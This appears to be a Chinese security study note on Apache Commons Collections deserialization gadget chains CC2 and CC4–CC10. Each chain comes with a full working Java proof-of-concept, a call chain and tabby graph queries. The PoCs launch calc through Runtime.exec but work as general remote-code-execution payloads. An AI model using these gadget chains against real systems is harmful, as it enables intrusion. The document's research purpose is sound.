CC与tabby

文章发布时间:

最后更新时间:

写在前面

这里收集一些CC链与tabby相关的POC、查询规则以及分析,顺便复习一下经典CC

CC2

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class cc2 {
public static void main(String[] args) throws Exception {
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 恶意字节码部分构造
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass poc = classPool.makeClass("POC");
poc.setSuperclass(classPool.get(AbstractTranslet));
poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] evilCode = poc.toBytecode();
// TemplatesImpl 恶意加载类构造 sink
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{evilCode});

Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "whatever");

// 构造gadget来连接 TemplatesImpl#newTransformer
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator comparator = new TransformingComparator(transformer);

// 连接compare方法
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);

Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc.out"));
inputStream.readObject();

}
}

调用链如下

1
2
3
4
5
6
ObjectInputStream.readObject()->PriorityQueue.readObject()
->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->RCE

tabby查询

1
match (m1:Method {SIGNATURE:"<java.util.PriorityQueue: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"heapify"})-[:CALL ]->(m3)-[:CALL]->(m4:Method {NAME:"siftDownUsingComparator"})-[:CALL]->(m5)-[:ALIAS*]-(m6 {SIGNATURE:"<org.apache.commons.collections4.comparators.TransformingComparator: int compare(java.lang.Object,java.lang.Object)>"})-[:CALL]->(m7)-[:ALIAS*]-(m8:Method)-[:CALL]->(m9:Method {IS_SINK:true}) return *

source点

image-20221121115039705

利用的比较器实现类org.apache.commons.collections4(?).comparators.TransformingComparator#compare()

image-20221121115211036

image-20221121185841731

CC4

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void main(String[] args) throws Exception{
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CC4");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();

Field field = templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][] {bytes});

Field field1 = templates.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templates, "test");

Transformer[] trans = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};

ChainedTransformer chain = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2 = PriorityQueue.class.getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, transCom);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc1.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc1.out"));
inputStream.readObject();

}

调用链如下

1
2
3
4
5
6
getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare->ChainedTransformer.transform
->TrAXFilter(构造方法)->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc4.newInstance()->Runtime.exec()

source点与CC2相同;sink点如下,newInstance触发TrAXFilter构造方法,后面与CC2一致

image-20221121190245529

tabby查询(jdk8u71未出 CC4依赖)

1
2
//cc4
match (m1:Method {SIGNATURE:"<java.util.PriorityQueue: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"heapify"})-[:CALL ]->(m3)-[:CALL ]->(m4:Method {NAME:"siftDownUsingComparator"})-[:CALL ]->(m5)-[:ALIAS*]-(m6 {SIGNATURE:"<org.apache.commons.collections4.comparators.TransformingComparator: int compare(java.lang.Object,java.lang.Object)>"})-[:CALL ]->(m7)-[:ALIAS*]-(m8:Method)-[:CALL ]->(m9:Method {NAME:"newInstance"}) return *

CC5

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
});
HashMap innerMap = new HashMap();
Map map = LazyMap.decorate(innerMap, chain);

TiedMapEntry tiedmap = new TiedMapEntry(map, "123");
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc3.out"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc3.out"));
inputStream.readObject();
}catch (Exception e) {
e.printStackTrace();
}

}
}

调用链如下

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

tabby查询 (查不出)

1
2
// cc5
match path=(m1:Method {SIGNATURE:"<javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"toString"})-[:ALIAS*]-(m3:Method {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: java.lang.String toString()>"})-[:CALL]->(m4:Method {NAME:"getValue"})-[:CALL]->(m5:Method {NAME:"get"})-[:ALIAS*1..2]-(m6:Method {NAME:"get"})-[:CALL]->(m7:Method {NAME:"transform"})-[:ALIAS*]-(m8:Method)-[:CALL]->(m9:Method {IS_SINK:true}) return path

source点

image-20221122164239566

sink点:与CC1和CC2的触发方式一致,反射调用方法

image-20221122165131710

CC6

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
ChainedTransformer fake = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
};

HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map, fake);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "key");

HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
// LazyMap#get -> 判断key是否包含
innerMap.remove("key");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fake, transformers);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc4.out"));
outputStream.writeObject(hashSet);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc4.out"));
inputStream.readObject();


}
}

调用链如下

1
2
3
4
5
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec

tabby查询

1
match (m1:Method {SIGNATURE:"<java.util.HashSet: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"put"})-[:CALL]->(m3:Method {NAME:"hash"})-[:CALL]->(t)-[:ALIAS*1..3]-(m4 {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m5:Method {NAME:"getValue"})-[:CALL]->(m6)-[:ALIAS*1..3]-(m7:Method {SIGNATURE:"<org.apache.commons.collections.map.LazyMap: java.lang.Object get(java.lang.Object)>"})-[:CALL]->(m8)-[:ALIAS*1..3]->(m9:Method {NAME:"transform"})-[:CALL]->(m10:Method {IS_SINK:true}) return *

CC7

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void main(String[] args) throws Exception {
ChainedTransformer fake = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
};

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map map1 = LazyMap.decorate(hashMap1, fake);
map1.put("1", 1);

Map map2 = LazyMap.decorate(hashMap2, fake);
map2.put("2", 2);

Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 2);

Field field2 = ChainedTransformer.class.getDeclaredField("iTransformers");
field2.setAccessible(true);
field2.set(fake, transformers);

//上面的 hashtable.put 会使得 map2 增加一个 1,所以这里要移除
map2.remove("1");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
byteArrayOutputStream.flush();
byteArrayOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

}

调用链如下

1
2
3
4
5
6
7
8
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()

关键触发结点:Hashtable#reconstitutionPut()

image-20221124182053507

tabby查询

1
2
//cc7
match path=(m1:Method {SIGNATURE:"<java.util.Hashtable: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"reconstitutionPut"})-[:CALL ]->(m3:Method {NAME:"equals"})-[:ALIAS*..2]-(m4:Method {SIGNATURE:"<java.util.AbstractMap: boolean equals(java.lang.Object)>"})-[:CALL ]->(m5:Method {NAME:"get"})-[:ALIAS*1..2]-(m6:Method {NAME:"get"})-[:CALL]->(m7:Method {NAME:"transform"})-[:ALIAS*]-(m8:Method)-[:CALL]->(m9:Method {IS_SINK:true}) return path

image-20221124182930664

CC8

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception{
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 恶意字节码部分构造
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass poc = classPool.makeClass("POC");
poc.setSuperclass(classPool.get(AbstractTranslet));
poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");

byte[] evilCode = poc.toBytecode();
// TemplatesImpl 恶意加载类构造 sink
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{evilCode});

Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "whatever");


// setup harmless chain
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// define the comparator used for sorting
TransformingComparator comp = new TransformingComparator(transformer);

// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comp);
tree.add(templatesImpl);

Field field2 = InvokerTransformer.class.getDeclaredField("iMethodName");
field2.setAccessible(true);
field2.set(transformer, "newTransformer");

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc5.out"));
outputStream.writeObject(tree);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc5.out"));
inputStream.readObject();

}

source点:org.apache.commons.collections4.bag#readObject()

image-20221125174618466

调用AbstractMapBag#doReadObject(),反序列化TemplatesImpl类对象,并put进TreeMap当中

image-20221125174857888

put中调用了compare,最终会调用设置的比较器类属性TransformingComparator#compare(),之后的调用链与CC2一样

image-20221125175114994

调用链如下

1
2
3
4
5
6
7
TreeBag.readObject()
-> AbstractMapBag.doReadObject
-> TreeMap.put() -> TreeMap.compare()
-> TransformingComparator.compare()
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->RCE

tabby查询

1
2
//cc8
match path=(m1:Method {SIGNATURE:"<org.apache.commons.collections4.bag.TreeBag: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"doReadObject"})-[:CALL ]->(m3:Method {NAME:"put"})-[:ALIAS*1..4]-(m4:Method)-[:CALL ]->(m5:Method {NAME:"compare"})-[:CALL ]->(m6:Method)-[:ALIAS*]-(m7:Method {SIGNATURE:"<org.apache.commons.collections4.comparators.TransformingComparator: int compare(java.lang.Object,java.lang.Object)>"})-[:CALL ]->(m8)-[:ALIAS*]-(m9:Method)-[:CALL*..5 ]->(m10:Method {IS_SINK:true}) return path

image-20221125181711924

CC9

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception{
ChainedTransformer fake = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
};

HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map, fake);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "foo");

Hashtable hashtable = new Hashtable();
hashtable.put("foo", 1);

Field field = Hashtable.class.getDeclaredField("table");
field.setAccessible(true);
Object[] table = (Object[]) field.get(hashtable);
Object entry1 = table[0];
if(entry1 == null) {
entry1 = table[1];
}
Field key = entry1.getClass().getDeclaredField("key");
key.setAccessible(true);

key.set(entry1, tiedMapEntry);

Field field2 = ChainedTransformer.class.getDeclaredField("iTransformers");
field2.setAccessible(true);
field2.set(fake, transformers);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc4.out"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc4.out"));
inputStream.readObject();
}

区别:Hashtable#reconstitutionPut

image-20221123185422164

调用链如下

1
2
3
4
5
6
7
Hashtable.readObject()
-> Hashtable.reconstitutionPut
-> key.hashCode() => TiedMapEntry.hashCode()
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文构造的Runtime.getRuntime().exec()

tabby查询

1
2
// CC9
match (m1:Method {SIGNATURE:"<java.util.Hashtable: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"reconstitutionPut"})-[:CALL]->(m3)-[:ALIAS*1..3]-(m4 {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m5:Method {NAME:"getValue"})-[:CALL]->(m6)-[:ALIAS*1..3]-(m7:Method {SIGNATURE:"<org.apache.commons.collections.map.LazyMap: java.lang.Object get(java.lang.Object)>"})-[:CALL]->(m8)-[:ALIAS*1..3]->(m9:Method {NAME:"transform"})-[:CALL]->(m10:Method {IS_SINK:true}) return *

image-20221123204021889

调用模板

1
2
//cc9
match path=(m1:Method {SIGNATURE:"<java.util.Hashtable: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"reconstitutionPut"})-[:CALL]->(m3:Method {NAME:"hashCode"})-[:ALIAS*]-(m4:Method {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m5:Method {NAME:"getValue"})-[:CALL]->(m6:Method {NAME:"get"})-[:ALIAS*1..2]-(m7:Method {NAME:"get"})-[:CALL]->(m8:Method {NAME:"transform"})-[:ALIAS*]-(m9:Method)-[:CALL]->(m10:Method {IS_SINK:true}) return path

CC10

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
public static void main(String[] args) throws Exception{
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 恶意字节码部分构造
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass poc = classPool.makeClass("POC");
poc.setSuperclass(classPool.get(AbstractTranslet));
poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");

byte[] evilCode = poc.toBytecode();
// TemplatesImpl 恶意加载类构造 sink
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{evilCode});

Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "whatever");
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl);

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];

if(node == null) {
node = array[1];
}

Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (Exception e) {
Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

Field field2 = InvokerTransformer.class.getDeclaredField("iMethodName");
field2.setAccessible(true);
field2.set(transformer, "newTransformer");

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc4.out"));
outputStream.writeObject(map);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc4.out"));
inputStream.readObject();
}

调用链如下,与CC6一样,只是sink点利用方式不同

1
2
3
4
5
6
7
8
9
10
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get() InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()

tabby查询

1
2
3
4
5
//cc10
match (source:Method {SIGNATURE:"<java.util.HashSet: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method) where (m2.NAME in ["defaultReadObject","readFloat","readObject"])=false
match (sink:Method {IS_SINK:true,NAME:"invoke"})<-[:CALL]-(m1:Method {NAME:"transform"})
call apoc.algo.allSimplePaths(m1, m2, "<CALL|ALIAS", 10) yield path
return * limit 20
1
2
//cc10
match path=(source:Method {SIGNATURE:"<java.util.HashSet: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {SIGNATURE: "<java.util.HashMap: java.lang.Object put(java.lang.Object,java.lang.Object)>"})-[:CALL]->(m3:Method {NAME:"hash"})-[:CALL]->(m4:Method {NAME:"hashCode"})-[:ALIAS*1..3]-(m5:Method {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m6:Method {NAME:"getValue"})-[:CALL]->(m7:Method {NAME:"get"})-[:ALIAS*1..2]-(m8:Method {NAME:"get"})-[:CALL]->(m9:Method {NAME:"transform"})-[:ALIAS*]-(m10:Method)-[:CALL]->(m11:Method {IS_SINK:true}) return path